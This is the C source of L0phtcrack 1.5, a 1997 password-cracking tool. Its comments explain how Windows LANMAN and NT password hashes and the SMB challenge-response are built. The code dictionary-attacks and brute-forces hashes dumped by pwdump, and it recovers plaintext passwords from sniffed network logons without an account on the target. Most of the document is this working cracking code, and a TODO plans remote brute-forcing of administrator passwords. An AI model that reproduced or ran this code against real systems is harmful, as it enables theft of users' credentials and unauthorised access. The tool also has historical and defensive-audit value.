/* L0phtcrack 1.5 06.02.97 mudge@l0pht.com
   The original comments are left below for those that missed the first
   release. It still does all of the things the first one did PLUS:

   . Can now dictionary attack or brute force the network NT server 
     challenge that is used to prevent the OWF from going across the
     wire in its plaintext format. Here's how their setup works:

        [assuming initial setup etc...]

           8byte "random" challenge
     Client <---------------------- Server
     OWF1 = pad Lanman OWF with 5 nulls
     OWF2 = pad NT OWF with 5 nulls
     resp = E(OWF1, Chal) E(OWF2, Chal)
           48byte response (24byte lanman 24byte nt)
     Client -----------------------> Server

     The client takes the OWF ( all 16 bytes of it) and pads with 5 nulls. 
     From this point it des ecb encrypts the, now 21byte, OWF with the
     8byte challenge. The resulting 24byte string is sent over to the
     server who performs the same operations on the OWF stored in it's
     registry and compares the resulting two 24byte strings. If they 
     match the user used the correct passwd.

     What's cool about this? Well, now you can take your sniffer logs
     of NT logons and retrieve the plaintext passwords. This does not
     require an account on the NT machine nor does it require previous
     knowledge of the ADMINISTRATOR password. 

     See, the problem was that of Microsoft's horrible marketing driven 
     patch to prevent pwdump from working. [elaborate on why that sucked]

   . Recursion has been removed from both the brute forcing in the Lanman
     case and also in the NT case derivation from the Lanman password.
     The iterative functions, although they don't logically represent
     the problem as well as their recursive predecessors, are much more
     memory friendly.

   . The large bruter routine no longer overflows the Pentium L2 cache,
     well it didn't seem to do so bad if you had a 512k L2 cache as opposed
     to a 256k on. This offers a large performance increase in bruting.

   . A couple of bugs were fixed.

/* NT-Cracker 03.24.97 mudge@l0pht.com
   This program takes the smbpassword file or the output generated by
   the excellent program pwdump (author name) and dictionary attacks
   the LANMAN One Way Password - 

  LANMAN One Way Passwords are created in the following fashion:
	. The password is first converted to uppercase
	. If the password is longer than 14 chars (bytes) then it
		is truncated
	. If the password is less than 14 chars (bytes) then it is
		padded with NULL's to 14 bytes.
	. The padded/truncated password is then split in half and each
		half is used to generate an odd parity DES key
	. An 8 byte fixed value is then encrypted with each of the
		DES keys - these two results are concatenated together
		to produce a 16byte hash.

	The fixed value that is encrypted by each of the DES keys is the 
	decryption of the value 0xAAD3B435B51404EE with a key of all zeros.

  Todo: add an entire keyspace attack to guarantee 
        we get all of the passwords
  Todo: Roll this into pwdump and add the ability to try to brute 
        force the administrators passwords on remote machines to obtain 
		full user listings and OWPasswords.
  Todo: GUI for the Windows users - weld's job
  Todo: CLI portable
  Todo: If not bruting - let people know if we couldn't find the passwd in a 
      dictionary and the word is <= 7 chars

  Crikey! Now I see where ECB mode is going to kill them in the NT 
  dialect - this should make bruting either one trivial!

  BIG KUDOS go out to Hobbit@avian.org for his outstanding work in debunking
  CIFS. Without information provided in his paper this program wouldn't be
  here!

  This work is provided by the L0pht - it contains code from the 
  following places:
		. Plenty of original code
		. generic routines from the samba code source
		. md4 routines from RSA
		. DES routines from Eric Young's libdes
*/

#include "includes.h"

void f2(struct user_struct *Ustruct, char *str);
extern void fill_user_struct(char *dastring, struct user_struct *da_struct);
extern void str_to_key(unsigned char *,unsigned char *);
extern void usage(char *);
extern void LMword(char *, char *);
extern char * atob(char *, int);
extern int htoi(char c);
int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case);
void md4hash(char *passwd, unsigned char *p16, int len);
extern int PutUniCode(char *dst,char *src);
void chcase(char *str, int pos);
void LowerString(char *holder, char *word);
void printuser(struct user_struct *Ustruct, FILE *file);
int cracklanman(struct user_struct *Ustruct, char *dict_word, char *tmphash);
extern int isvalid_userline(char *user_entry);
extern struct user_struct * init_linked_list();
extern void add_list_struct(struct user_struct *, char *);
extern struct user_struct * remove_from_list(struct user_struct *);
extern struct user_struct * rewind_list(struct user_struct *);
extern void print_and_prune(struct user_struct *record, FILE *outlist);
extern void build_linked_list(struct user_struct *head, FILE *pwlist);
extern struct user_struct * filter_disabled(struct user_struct *head, FILE *outlist);
extern struct user_struct * filter_nopasswd(struct user_struct *head, FILE *outlist);
extern struct user_struct * setup_linked_list(int, FILE *, FILE *);
int Lanman(struct user_struct *index, char *dict_word, FILE *outlist);
int nt(struct user_struct *index, char *dict_word, FILE *outlist);
int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist);
extern void free_struct_list(struct user_struct *);
int brute_lanman(struct user_struct *Ustruct, FILE *outlist);
void half_lanman(char *, char *);
int brute_routine(struct user_struct *head, char *half_hash, char *, int iter);
int lm_check_sniff(struct user_struct *, char *);
int nt_check_sniff(struct user_struct *, char *);
extern void nt_ify_list(struct user_struct *head);
extern void print_hits(struct user_struct *head, FILE *outlist);
extern struct user_struct * prune_list(struct user_struct *head);
extern void E_P24(uchar *, uchar *, uchar *);
int issame(char *, char *, int);


/* Global str_to_crypt - this is what is encrypted with each of the 
   odd parity DES keys for LANMAN - It is derived by decrypting the 
   fixed byte quantity 0xAAD3B435B51404EE with a key
   of all 0's ie:
   	
	fixed_key[] = "\xAA\xD3\xB4\x35\xB5\x14\x04\xEE";
	memset(deskey3, '\0', sizeof(deskey3)); - key of all 0's
	des_set_key((des_cblock *)deskey3, ks3); 
	des_ecb_encrypt((des_cblock *)fixed_key,
  	    (des_cblock *)str_to_crypt, ks3, DES_DECRYPT);
*/

char str_to_crypt[] = "\x4b\x47\x53\x21\x40\x23\x24\x25";

void main(int argc, char **argv) {
	FILE *pwlist, *wordlist, *outlist;
	char dict_word[MAX_WORD];
	char *pwfile, *wordfile, *outfile;
	struct user_struct *head, *index, *foo, *bar;
	extern char *optarg;
	int c, pcount=0, Pcount=0, wcount=0, ocount=0, brute=0;
	int lanonly=0, ntonly=0;
	int ret=0;

	while ( (c = getopt(argc, argv, "p:P:w:blno:")) != EOF){
		switch(c) {
		case 'p': /* passwd file from pwdump */
			pwfile = optarg;
			pcount++;
			break;
		case 'P': /* passwd file from sniffer logs -  
			     we will look at Pcount / pcount to figure
			     out what type of file pwfile is really pointing
			     to */
			pwfile = optarg;
			Pcount++;
			break;
		case 'w': /* dictionary of words */
			wordfile = optarg;
			wcount++;
			break;
		case 'o': /* output file */
			outfile = optarg;
			ocount++;
			break;
		case 'l': /* crack LANMAN password ONLY */
			lanonly++;
			break;
		case 'n': /* crack NT Dialect only - dumb - 
			     better performance cracking both */
			ntonly++;
			break;
		case 'b': /* brute force through keyspace */
			brute++;
			break;
		default:
			usage(argv[0]);
		}
	}

	if ((pcount == 0 && Pcount == 0) || (pcount > 0 && Pcount > 0))
		usage(argv[0]);
	else if ((wcount == 0 && brute == 0) || (wcount > 0 && brute > 0))
		usage(argv[0]);

	if (lanonly > 0 && ntonly > 0)
		usage(argv[0]);

	if ((pwlist = fopen(pwfile, "r")) == NULL){ 
		fprintf(stderr, "Error: could not open %s\n", pwfile);
		exit(1);
	}

	if (wcount > 0 ) {
	  if ((wordlist = fopen(wordfile, "r")) == NULL){
	  	  fprintf(stderr, "Error: could not open %s\n", wordfile);
		  exit(1);
	  }
	}
	
	if (ocount > 0){
		if ((outlist = fopen(outfile, "w")) == NULL){
			fprintf(stderr, "Error: could not open %s\n", outfile);
			exit(1);
		}
	} else
		outlist = stdout;

	head = setup_linked_list(pcount, pwlist, outlist); /* pcount will
				be 1 if it's a regular pwdump file and
				0 if it is a sniffer log with the 
				challenge response */

	foo = index = head;


	/* main loop */

	head = rewind_list(index);
	index = foo = bar = head;

	if (head == NULL){
		fprintf(stderr, "Nothing to do so I guess I'm done\n");
		exit(1);
	}

	if (brute){
		ret = brute_lanman(index, outlist);
	}else{
		while (fgets(dict_word, MAX_WORD, wordlist) != NULL) {

			head = rewind_list(index);
			index = foo = bar =  head;
			
			if (head == NULL){
				fprintf(stderr, "Done\n");
				exit(1);
			}

			while (bar != NULL){
				if (lanonly){
					Lanman(index, dict_word, outlist);
				} else if (ntonly) {
					nt(index, dict_word, outlist);
				} else {
					Lanman_and_nt(index, dict_word, outlist);				
				}	
				if (index->next == NULL){
					bar = NULL;
				}else{
					index = index->next;
				}
			} 
		
		}
	} /* else from brute_lanman */	

        if (ret == 0){ /* if ret is > 0 then we have already pruned ALL
                          of the structs in the list...  */
	  head = rewind_list(index);
	  free_struct_list(head);
        }
	if (ocount > 0)
		fclose(outlist);
	if (wcount > 0)
		fclose(wordlist);
	if (pcount > 0)
		fclose(pwlist);
}

/* routine to check the LANMAN passwd */
int cracklanman(struct user_struct *Ustruct, char *dict_word, char *fullhash){
  unsigned char passwd[14];
  unsigned char lanman[16];
  des_cblock deskey1, deskey2;
  des_key_schedule ks1, ks2;


  memset(passwd, '\0', sizeof(passwd));
  memset(lanman, '\0', sizeof(lanman));

  LMword((char *)passwd, dict_word); /* uppercases and 
                                        truncs/concats word into passwd */
  if (!Ustruct->pwdumpval){
    if (lm_check_sniff(Ustruct, passwd) == 1)
      return(1);
    else
      return(0);
  }

  str_to_key(passwd, deskey1);  /* create the first 8byte odd 
                                   parity des key */
  des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */

  des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known 
                                                 8byte value */
              (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the 
                                                   first des key */

  str_to_key(&(passwd[7]), deskey2);
  des_set_key((des_cblock *)deskey2,ks2);

  des_ecb_encrypt((des_cblock *)str_to_crypt,\
                              (des_cblock *)&lanman[8], ks2, DES_ENCRYPT);

  strncpy(fullhash, (const char *)lanman, sizeof(lanman));

  if (memcmp(Ustruct->lmhashb, lanman, sizeof(lanman)) == 0){
    strncpy(Ustruct->lmpasswd, (const char *)passwd, LMPASSWDLEN);
    return(1);
  }
  return(0);
}

/* routine to check the md4 NT dialect passwd derived from the 
   succesfull LANMAN passwd.  returns 1 if succesfull, 0 otherwise  - 
   if check case is > 0 then all possible permutations of upper/lower 
   are tried, if <=0 then just try the word in the case that we recieved 
   it in. */
int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case){
	
  char ntpasswd[129]; 
  char *hold;
  unsigned char *p16;
  int pos, uni_len;

  memset(ntpasswd, '\0', sizeof(ntpasswd));

  if (check_case){ /* go through the possible case sensitive perms */
    LowerString(ntpasswd, passwd);
    pos = strlen(passwd) -1;
    f2(Ustruct, ntpasswd);
  }else{ /* not interested in case sensitivity - just try the dict word as
            we have it */

    if (passwd[strlen(passwd)-1] == '\n') /* strip the \n - this 
                                is done in LowerString for the case sensitive
                                check */
    passwd[strlen(passwd)-1] = '\0';

    hold = (char *)malloc(NTPASSWDLEN * 2); /* grab space for 
                                               unicode */
    if (hold == NULL){
      fprintf(stderr, "out of memory...crackntdialog hold\n");
      exit(1);
    }

    uni_len = PutUniCode(hold, passwd); /* convert to 
                                           unicode and return correct 
                                           unicode length for md4 */

    p16 = (unsigned char*)malloc(16); /* grab space for md4 hash */
    if (p16 == NULL){
      fprintf(stderr, "out of memory...crackntdialect p16\n");
      exit(1);
    }

    md4hash(hold, p16, uni_len);
    if (Ustruct->pwdumpval){
      if (memcmp(p16, &Ustruct->nthashb, 16) == 0)
        strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);
    } else {
      if (nt_check_sniff(Ustruct, p16) == 1){
        strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);
      }
    }
    free(p16);
    free(hold);
  }

  if (strlen(Ustruct->ntpasswd) > 0){
    Ustruct->ntdone = 1;
    return(1);
  } else
    return(0);
}

/* Recursively check all variations on case as the NT Dialect passwd is case
   sensitive. This isn't too bad as the total possible perms is only 2 to the 
   power of strlen(wordtocompare). We really need to make this iterative 
   to save on memory and increase speed. If the function finds a match it
   puts it in Ustruct->ntpasswd. */
void f2(struct user_struct *Ustruct, char *str){
  unsigned long i,j;
  char tmp[128], hold[256]; 
  char ntresp[21], response[24];
  unsigned char p16[16]; 
  int len, uni_len, iters;

  len = strlen(str);
  iters = 1 << len;

#ifdef _DEBUG
  printf("str: %s - len: %d\n", str, len);
  fflush(NULL);
#endif

  for (i=0; i<iters; i++) {   
    strcpy(tmp, str); 
    /* Set case for this round  */
    for (j=0; j<len; j++) { 
      if ( i & (1 << j)) {
        tmp[j] = toupper(tmp[j]);
      } 
    } 
#ifdef _DEBUG 
    printf("%d: %x %s \n", i, tmp, tmp);
    fflush(NULL); 
#endif  
    uni_len = PutUniCode(hold, tmp);

    md4hash(hold, p16, uni_len);
    if (Ustruct->pwdumpval){  /* we're dealing with pwdump */
      if (memcmp(p16, Ustruct->nthashb, 16) == 0){ 
        strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);
        return;
        /* finished=1; */
      }
    } else {  /* we're dealing with sniffer logs */
      if (nt_check_sniff(Ustruct, p16) == 1){
        strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);
        return;
      }
    }
  }
}

/* 
 * Creates the MD4 Hash of the users password in NT UNICODE.
 */
 
void md4hash(char *passwd, unsigned char *p16, int len)
{
	int i=0;
	MDstruct MD;
  
	MDbegin(&MD);
	for(i = 0; i + 64 <= len; i += 64){
		MDupdate(&MD,(unsigned char *)passwd + (i/2), 512);
#ifdef BIGENDIAN
		MDreverse(MD.buffer);
#endif
	}
	MDupdate(&MD,(unsigned char *)passwd + (i/2),(len-i)*8);
#ifdef BIGENDIAN
	MDreverse(MD.buffer);
#endif
/*	MDprint(&MD); 
	   printf("\n");  */

	memcpy(p16, (unsigned char *)MD.buffer, 16);
/*
	SIVAL(p16,0,MD.buffer[0]);
	SIVAL(p16,4,MD.buffer[1]);
	SIVAL(p16,8,MD.buffer[2]);
	SIVAL(p16,12,MD.buffer[3]);
*/

}


void LowerString(char *holder, char *word){
	size_t i;
	int word_len;
 
	word_len = strlen(word);

	if (strlen(word) > 128)
		word[128] = '\0';

	for (i=0; i < word_len; i++){
		if (isupper(word[i]))
		  holder[i] = tolower(word[i]);
		else
		  holder[i] = word[i];
	}
	if (holder[word_len - 1] == '\n')
	  holder[word_len - 1] = '\0';

}

void chcase(char *str, int pos){
	str[pos] = toupper(str[pos]);
}

void printuser(struct user_struct *Ustruct, FILE *file){
  if (Ustruct->already_printed == 1)
	return;
  else {
	fprintf(file, "User: [%s] Lanman PW: [%s] NT dialect PW: [%s]\n",
		Ustruct->username, Ustruct->lmpasswd, Ustruct->ntpasswd);
		Ustruct->already_printed = 1;
		fflush(file);
	}
}

int Lanman(struct user_struct *index, char *dict_word, FILE *outlist){

  struct user_struct *foo;
  char match_lmpasswd[14], match_lmhash[32], tmphash[16];
  int ret=0;

  if (index->lmdone == 1){
    printuser(index, outlist);
    return(1);
  }else{
     if (index->pwdumpval){ /* doing the pwdump file */
       if (cracklanman(index, dict_word, tmphash) == 1){
         printuser(index, outlist);
         index->lmdone = 1;
         strcpy(match_lmpasswd, index->lmpasswd);
         memcpy(match_lmhash, index->lmhash, 32);
         ret = 1;
       }
       foo = index->next;
       while (foo != NULL){
         if (memcmp(foo->lmhashb, tmphash, 16) == 0){
           LMword(match_lmpasswd, dict_word);
           strcpy(foo->lmpasswd, match_lmpasswd);
           foo->lmdone = 1;
           foo = foo->next;
         } else {
           foo = foo->next;
         }
       }
     } else { /* doing the sniffer logs */ 
       LMword(match_lmpasswd, dict_word);
       if (lm_check_sniff(index, match_lmpasswd) == 1){
         printuser(index, outlist);
         index->lmdone = 1;
         ret = 1;
       }
     }
  }
  return(ret);
}

int nt(struct user_struct *index, char *dict_word, FILE *outlist){
  struct user_struct *foo;
  char match_ntpasswd[129], match_nthash[32];
	
  if (index->ntdone == 1){
    printuser(index, outlist);
    return(1);
  }else{
    if (crackntdialect(index, dict_word, 1) == 1){
      printuser(index, outlist);
      index->ntdone = 1;
      if (index->pwdumpval){
        strcpy(match_ntpasswd, index->ntpasswd);
        memcpy(match_nthash, index->nthash, 32);
        foo = index->next;
        while (foo != NULL){
          if (memcmp(foo->nthash, match_nthash, 32) == 0){
            strcpy(foo->ntpasswd, match_ntpasswd);
            foo->ntdone = 1;
            foo = foo->next;
          } else
            foo = foo->next;
        }
      }
      return(1);
    }
  }
  return(0);
}

int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist){

  struct user_struct *foo;
  char match_lmpasswd[15], match_lmhash[32];
  char tmphash[16];
  int ret=0;

  if (index->lmdone == 1 && index->ntdone){
    printuser(index, outlist);
    return(1);
  }else{
    if (cracklanman(index, dict_word, tmphash) == 1){
      index->lmdone = 1;
      strcpy(match_lmpasswd, index->lmpasswd);
      memcpy(match_lmhash, index->lmhash, 32);
      if (crackntdialect(index, index->lmpasswd, 1) == 1){
    /* printuser(index, outlist); */
        index->ntdone = 1;
      }
      ret = 1;
      if ((index->lmdone) || (index->ntdone))
        printuser(index, outlist);
    }		
    if (index->pwdumpval){
      foo = index->next;
      while (foo != NULL){
        if (memcmp(foo->lmhashb, tmphash, 16) == 0){
          LMword(match_lmpasswd, dict_word);
          strcpy(foo->lmpasswd, match_lmpasswd);
          foo->lmdone = 1;
          crackntdialect(foo, foo->lmpasswd, 1);
          foo = foo->next;
        } else {
          foo = foo->next;
        }
      }
    }
  }
  return(ret);
}

int brute_lanman(struct user_struct *head, FILE *outlist){
  char brute_str[7];
  char all_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  char half_hash[8];
  char tmp[128];
  int spacelen = strlen(all_chars);
  int pwlen = 7;
  char *tmpspace[7+1];
  struct user_struct *index;
  int i;
  int size;

  size = strlen(all_chars);

  index = head;

  memset(brute_str, '\0', sizeof(brute_str));

  memset(tmp, '\0', sizeof(tmp));

  /* initialize the pointers */
  tmpspace[0]=&all_chars[0];
  for (i=1; i<=pwlen; i++) {
     tmpspace[i]=0;
  }


  /* ok here we go, go until that extra pointer gets
     changed... */
  while(!tmpspace[pwlen]) {
     for (i=0; i<=pwlen; i++) {
        if(tmpspace[i] != 0) {
           tmp[i]=*tmpspace[i];
        } else 
          break;
      /* {
           tmp[i]='\0';
          }
       */
     }

  /* printf("%s : %d\n", tmp, strlen(tmp));  */

     if (index->pwdumpval){
       half_lanman(half_hash, tmp);
       if (brute_routine(index, half_hash, tmp, 7) == 1){
#ifdef _DEBUG
         printf("gotone in round %d\n", iter);
         fflush(NULL);
#endif
         nt_ify_list(index);
         print_hits(index, outlist);
         head = prune_list(index);
         if (!head)
           return(1);
         else
           index = head;
       }
     } else {
       if (lm_check_sniff(index, tmp) == 1){
         nt_ify_list(index);
         print_hits(index, outlist);
         head = prune_list(index);
         if (!head)
           return(1);
         else
           index = head;
        }     
     }

     /* increment */
     tmpspace[0]++;

     /* carry ? */
     for (i=0; i<pwlen; i++) {
       if (tmpspace[i] > &all_chars[spacelen -1]) {
         tmpspace[i] = &all_chars[0];

     /*
        can't just inc the pointer but
        this could be removed by playing
        games with the data struct... ;-)
     */
         if (tmpspace[i+1] !=0) {
           tmpspace[i+1]++;
         } else {
           tmpspace[i+1] = &all_chars[0];
         } 
      }
    }
  }

  return(0);
}

void half_lanman(char *half_hash, char *brute_str){
  unsigned char lanman[8];
  des_cblock deskey1;
  des_key_schedule ks1;

  /* create the first 8byte odd parity des key */
  str_to_key((unsigned char *)brute_str, deskey1);  
  /* setup the key schedule */
  des_set_key((des_cblock *)deskey1,ks1); 

  /* encrypt the known 8byte value against the first des key */
  des_ecb_encrypt((des_cblock *)str_to_crypt, (des_cblock *)lanman, ks1,\
	 DES_ENCRYPT); 

  memcpy(half_hash, lanman, 8);

}

/* routine to check the LANMAN passwd */
void full_lanman(char *fullhash, char *dict_word){
  unsigned char passwd[14];
  unsigned char lanman[16];
  des_cblock deskey1, deskey2;
  des_key_schedule ks1, ks2;

  memset(passwd, '\0', sizeof(passwd));
  memset(lanman, '\0', sizeof(lanman));

  strncpy(passwd, dict_word, 14);

  str_to_key(passwd, deskey1);  /* create the first 8byte odd 
                                   parity des key */
  des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */

  des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known 
                                                 8byte value */
              (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the 
                                                   first des key */

  str_to_key(&(passwd[7]), deskey2);
  des_set_key((des_cblock *)deskey2,ks2);

  des_ecb_encrypt((des_cblock *)str_to_crypt,\
                              (des_cblock *)&lanman[8], ks2, DES_ENCRYPT);

  strncpy(fullhash, (const char *)lanman, sizeof(lanman));

}

int brute_routine(struct user_struct *head, char *half_hash, char *brute_str, int iter){
  struct user_struct *index;
  int positive=0;

  index = head;

  while (index != NULL){
	  
    if (index->under7){
	if (memcmp(index->lmhashb, half_hash, 8) == 0){
 		strncpy(index->first_half, brute_str, 7);
		strncpy(index->lmpasswd, brute_str, 7);
		index->lmdone = 1;
		positive = 1;
	}
  }else{
	  if (iter == 7){
		  if (strlen(index->first_half) == 0){
			if (memcmp(index->lmhashb, half_hash, 8) == 0){
				strncpy(index->first_half, brute_str, 7);
				if (strlen(index->second_half) != 0){
					positive=1;
				}
			}
		  }
	  }

	  if (strlen(index->second_half) == 0){
		if (memcmp(&index->lmhashb[8], half_hash, 8) == 0){
			  strncpy(index->second_half, brute_str, 7);
#ifdef _DEBUG
			  printf("snagged second half in round %d\n", iter);
			  fflush(NULL);
#endif
		}
	  }
  }
  if (!(index->under7)){
    if ((strlen(index->first_half) > 0) && (strlen(index->second_half) > 0)){
	  strncpy(index->lmpasswd, index->first_half, 7);
	  strncat(&index->lmpasswd[7], index->second_half, 7);
	  index->lmdone = 1;
	  positive = 1;
    }
  }
  index = index->next;
  }
  return(positive);
}

int lm_check_sniff(struct user_struct *head, char *brute_str){
  struct user_struct *index;
  char pre_lmresp[21];
  char response[24];
  char full_lmhash[16];
  int positive=0;

  index = head;

  while (index != NULL){
	  
    memset(pre_lmresp, '\0', 21);
    full_lanman(full_lmhash, brute_str);
    memcpy(pre_lmresp, full_lmhash, 16);
    E_P24(pre_lmresp, index->server_chall, response);

    if (memcmp(index->lmresp_b, response, 24) == 0){
      memcpy(index->lmpasswd, brute_str, 14);
      memcpy(index->lmhashb, full_lmhash, 16);
      index->lmdone = 1;
      positive = 1;
    }
    index = index->next;
  }
  return(positive);
}

int nt_check_sniff(struct user_struct *head, char *nthash){
  struct user_struct *index;
  char pre_ntresp[21];
  char response[24];
  int positive=0;

  index = head;

  memset(pre_ntresp, '\0', 21);
  memcpy(pre_ntresp, nthash, 16);
  E_P24(pre_ntresp, index->server_chall, response);

  if (memcmp(index->ntresp_b, response, 24) == 0){
    memcpy(index->nthashb, nthash, 16);
    index->ntdone = 1;
    positive = 1;
  }
  return(positive);
}

int issame(char *one, char *two, int len){

  return(memcmp(one, two, len));
}